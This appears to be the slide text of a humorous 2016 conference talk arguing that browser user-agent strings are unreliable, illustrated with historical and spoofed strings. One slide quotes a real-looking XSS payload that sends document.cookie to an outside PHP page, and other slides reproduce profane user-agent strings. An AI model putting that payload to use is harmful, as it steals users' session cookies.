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the 8 minute version that contains 
 none of that boring shit and just 
 the jokes and weird stuff everybody lies fronteers conference — jam sessions, october 6th 2016

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this talk is full of 
 lies and deception warning:

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No content

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yes… this talk is about browser sniffing

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why?

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browser sniffing is 
 dirty

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you should use 
 feature detection

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Dear Web Developers: Browser Sniffing is Stupid http:/ /www.webstandards.org/2002/12/20/dear-web-developers-browser-sniffing-is-stupid/

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5 Reasons Why Browser Sniffing Stinks https:/ /www.sitepoint.com/why-browser-sniffing-stinks/

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everybody uses 
 browser sniffing

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why… is browser sniffing 
 so difficult?

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things started out simple

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Mosaic/0.9 Mosaic

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Mozilla/1.0 (Win3.1) Netscape Navigator code name of 
 the browser

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but it quickly started 
 to get complicated

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Mozilla/1.0 (compatible; MSIE 1.0; Windows 95) Internet Explorer compatible with 
 Netscape Navigator 1.0

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Opera/10.00 (Windows NT 5.1; U; en) 
 Presto/2.2.0 Opera

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Opera/9.8 (Windows NT 5.1; U; en) 
 Presto/2.2.0 Version/10.00 Opera real version of
 the browser

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Mozilla/5.0 
 (Windows; U; Windows NT 6.0; en; rv:1.9.1) 
 Gecko/20090624 Firefox/3.5 Firefox build date of
 the rendering engine

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Mozilla/5.0 (Windows NT 6.0; rv:2.0) 
 Gecko/20100101 Firefox/4.0 Firefox build date is no 
 longer updated

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Mozilla/5.0 (Windows NT 6.0; rv:16.0) 
 Gecko/16.0 Firefox/16.0 Firefox

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and it gets worse…

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Mozilla/5.0 
 (Macintosh; U; PPC Mac OS X 10_4_11; en)
 AppleWebKit/525.27.1 (KHTML, like Gecko)
 Version/3.2.3 Safari/525.28.3 Safari

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Mozilla/5.0 
 (Windows; U; Windows NT 6.0; en)
 AppleWebKit/525.27.1 (KHTML, like Gecko)
 Chrome/15.0.874.120 Safari/525.28.3 Chrome

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Mozilla/5.0 
 (Windows NT 10.0; WOW64) 
 AppleWebKit/537.36 (KHTML, like Gecko) 
 Chrome/44.0.2403.155 Safari/537.36 
 OPR/31.0.1889.180 Opera

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Mozilla/5.0 
 (Windows NT 6.3; Trident/7.0; rv:11.0) 
 like Gecko Internet Explorer

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Mozilla/5.0 (Windows NT 10.0)
 AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/42.0.2311.135 Safari/525.28.3 
 Edge/12.10162 Edge

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and those were all relatively normal user-agent strings

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sometimes browsers lie to 
 hide their true identity

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Opera/9.80 (X11; Linux zbov; U; en) 
 Presto/2.9.201 Version/11.50 Opera

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Opera/9.80 (X11; Linux zbov; U; en) 
 Presto/2.9.201 Version/11.50 Opera Mobile (desktop mode) ROT 13 encrypted
 “mobi“

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Mozilla/5.0 (compatible; MSIE 8.0; 
 Windows NT 6.1; Trident/5.0) Internet Explorer

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Mozilla/5.0 (compatible; MSIE 8.0; 
 Windows NT 6.1; Trident/5.0) Internet Explorer (compatibility view) Trident 5 means it’s 
 Internet Explorer 9

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and it is possible to change the user-agent string yourself

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alert("My Little Pony"); document.location= 
 "http://www.max1094.18.lc/admin/cookies.php?c=" + 
 document.cookie; My Little Pony XSS attacks

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XSS attacks

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 (╯°□°)╯︵ ┻━┻
 
 Mozilla/10.0 (compatible; MSIE 10.0; CP/M; 8-bit) funny people

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angry people

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FuckZilla/666.0 (Gavnoid; Debile; rv:123.0) 
 FuckYou/123.0 FuckingFox/321.0
 
 Opera/9.80 (Windows NT 6.1; U; FuckYou; xx) 
 Presto/2.10.229 Version/11.62
 
 Seriously, Go fuck yourself
 
 W3C standards are important. 
 Stop fucking obsessing over user-agent already. angry people

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1.000.000
 unique
 useragent strings

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1.000.000
 unique
 useragent strings 82 x fuck

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1.000.000
 unique
 useragent strings 82 x fuck 6 x ass

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1.000.000
 unique
 useragent strings 82 x fuck 6 x ass 3 x vagina

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1.000.000
 unique
 useragent strings 82 x fuck 6 x ass 3 x vagina 108 x sex

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1.000.000
 unique
 useragent strings 82 x fuck 10 x shit 6 x ass 3 x vagina 108 x sex

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1.000.000
 unique
 useragent strings 82 x fuck 10 x shit 6 x ass 9 x dick 3 x vagina 108 x sex

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1.000.000
 unique
 useragent strings 82 x fuck 10 x shit 6 x ass 9 x dick 3 x vagina 108 x sex 4 x balls

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user-agent strings 
 cannot be trusted!

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everybody lies

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use browser sniffing for controlling access to 
 your website you should never

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you should never use browser sniffing for determining browser capabilities

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you should never build your own 
 browser sniffing library


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No content

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“If you tell a big enough lie 
 and tell it frequently enough, 
 it will be believed” — Ghandi

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“If you tell a big enough lie 
 and tell it frequently enough, 
 it will be believed” — Ghandi

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— Adolf Hitler “If you tell a big enough lie 
 and tell it frequently enough, 
 it will be believed”

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thank you!

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thank you!